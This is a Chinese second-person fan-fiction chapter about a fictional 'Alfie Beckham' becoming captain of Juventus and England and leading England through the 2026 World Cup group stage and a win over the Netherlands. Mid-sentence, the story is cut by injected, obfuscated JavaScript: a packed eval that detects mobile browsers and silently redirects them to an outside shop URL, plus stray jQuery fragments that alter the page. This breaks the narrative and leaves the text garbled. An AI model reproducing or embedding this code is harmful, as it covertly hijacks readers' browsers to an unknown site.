2025年8月
博努奇退役了。他站在训练基地的草坪上，和每个人拥抱。轮到你的时候，他抱了你很久。
“阿尔菲。”博努奇在你耳边说。“队长袖标现在是你的了。”
你从他手里接过袖标。黑色的，上面有尤文图斯的队徽。你把它握在手心里。
“我会保护好它。”你说。
博努奇拍了拍你的脸。“我知道。”
新赛季的第一场比赛，尤文图斯主场对阵科莫。你第一次以队长身份走出球员通道。安联球场的大喇叭念到你的名字——“Capitano……Alfie Beckham！”南看台展开了一面新的TIFO——你的侧脸，旁边写着“Il Nostro Capitano”——我们的队长。
你站在中圈，把袖标往上拉了拉。裁判吹哨，比赛开始。
第23分钟，你打进了一球。你没有庆祝，只是跑回中圈，但你的手指了指胸口的队徽。南看台用歌声回应你。
——
2025年9月
尤文图斯作为卫冕冠军，小组赛抽到了轻松的分组。你带领球队三连胜开局。意大利媒体开始讨论“尤文图斯王朝”的可能性——你看到这个词的时候正在吃饭，放下叉子，喝了口水。
“王朝不是说的，是踢出来的。”你在赛后发布会上说。
——
2025年10月
凯恩宣布在2030年世界杯后从国家队退役。索斯盖特在一次内部会议上说，下次世界杯后你会成为英格兰的正式队长。你提前知道了这个消息——凯恩亲口告诉你的。
“阿尔菲，以后袖标是你的了。”凯恩在训练场上把袖标摘下来，放在你手里。“你先戴着试试。”
你低头看着手里的袖标。白色的，上面有英格兰的狮子标志。
“我会还给你。”你说。
“不用还。”凯恩笑了。“你本来就是下一个。”
那一场对阵比利时的友谊赛，你戴上了英格兰的队长袖标。温布利九万人，唱国歌的时候你站在最前面，身后是二十三个队友。你没有回头，但你能感觉到他们的目光。
你把手放在胸口，看着前方的看台。有人举着一条横幅，上面写着“ALFIE BECKHAM——ENGLAND'S CAPTAIN”。
你没有笑。你只是把袖标往上拉了拉。
比赛第12分钟，你助攻拉什福德破门。第34分钟，你自己打进一球。2-0，英格兰赢了。
赛后，记者问你：“作为队长赢球，感觉如何？”
“感觉一样。”你说。“球还是圆的。”
——
2025年11月
尤文图斯提前两轮出线。你在欧冠中已经进了六个球，和姆巴佩并列射手榜第一。姆巴佩发了一条Instagram，配文是“See you in the final”，配图是你俩的数据对比。
——
2025年12月
尤文图斯再次以意甲第一的身份进入冬歇期。你以队长身份带队打了半个赛季，没有输过一场。
冬歇期前一天，训练结束后，你一个人坐在安联球场的看台上。马丁来了，坐在你旁边。
“阿尔菲。”
“嗯。”
“你明年有世界杯。”
“我知道。”
“下一届你是队长了。”
“我知道。”
“你会赢吗？”
你看着空荡荡的球场。草皮被保养布盖着，泛光灯亮着，照亮了每一寸草地。
“会。”你说。
马丁没有说话。他只是拍了拍你的肩膀，站起来走了。
你一个人坐在看台上，直到保安来催你离开。你站起来，把手插进口袋，走下台阶。
都灵十二月的夜风很冷。你把外套拉链拉到最上面，走向停车场。
世界杯还有半年。
——
2026年6月
英格兰队抵达洛杉矶。英足总把集训营设在加州大学洛杉矶分校的校园里，棕榈树、阳光、干燥的热风。你第一次踏上美国的土地，你被热浪糊了一脸。
凯恩还是这届的队长，但所有人都知道这即将是你的球队了。索斯盖特在全队会议上说：“这届世界杯，我们只有一个目标。”他说了那个词：“冠军。”
你坐在角落里，低着头系鞋带。
小组赛，英格兰抽到了美国、伊朗、塞尔维亚。不轻松，但也不可怕。
第一场对阵美国，洛杉矶玫瑰碗球场。九万人，一半是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675731|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
美国球迷的星条旗，一半是英格兰球迷的圣乔治旗。你首发，戴袖标——凯恩这场比赛轮换，袖标在你手臂上。你第一次在世界杯上以队长身份出场。
唱国歌的时候，你站在最前面。你的手放在胸口，嘴唇微动——不是在唱，只是心跳太快了，你需要一个地方安放它。
第34分钟，你助攻萨卡破门。1-0。第56分钟，你自己打进一球——长途奔袭，从半场开始，过掉两个人，推射远角。2-0。
终场哨响，2-0。
赛后你被评为全场最佳。你站在混合区接受采访，一个美国记者问你：“阿尔菲，你觉得英格兰能走到最后吗？”
“能。”你说。
只有一个字。
第二场对阵伊朗，4-0。你进了两球，助攻一次。第三场对阵塞尔维亚，1-0，你助攻凯恩绝杀。
小组赛三战全胜，小组第一出线。
——
2026年7月4日，英格兰 vs 荷兰
独立战争纪念日。费城的街道上到处是美国国旗，但球场里只有白色和橙色。英荷大战，永远的火药桶。
比赛第23分钟，荷兰先进球。0-1。第41分钟，你从左边路突破，传中，凯恩头球破门。1-1。
半场结束，更衣室里，索斯盖特站在战术板前。他没有说话，看着你们。你站起来。
“我们是英格兰。”你说。更衣室里所有人看着你。“我们是英格兰。我们不会输。”
没有人说话。但所有人点头。
下半场第67分钟，你从右边路内切，左脚假射真传，贝林厄姆插上破门。2-1。
第89分钟，你被换下场。全场起立鼓掌——不只是英格兰球迷，荷兰球迷也在鼓掌。不是因为你是贝克汉姆，而是因为你踢了一场伟大的比赛。
终场哨响，2-1。英格兰晋级八强。
赛后，你靠在更衣室的柜子上，大口喘气。凯恩走过来，把袖标从自己手臂上摘下来，塞到你手里。
“从下一场开始，你来戴。”凯恩说。
你看着他。“你还在场上。”
“你更适合。”凯恩拍了拍你的肩膀。“我已经做了我该做的。现在轮到你了。”
你没有说“好”。你只是把袖标攥在手心里。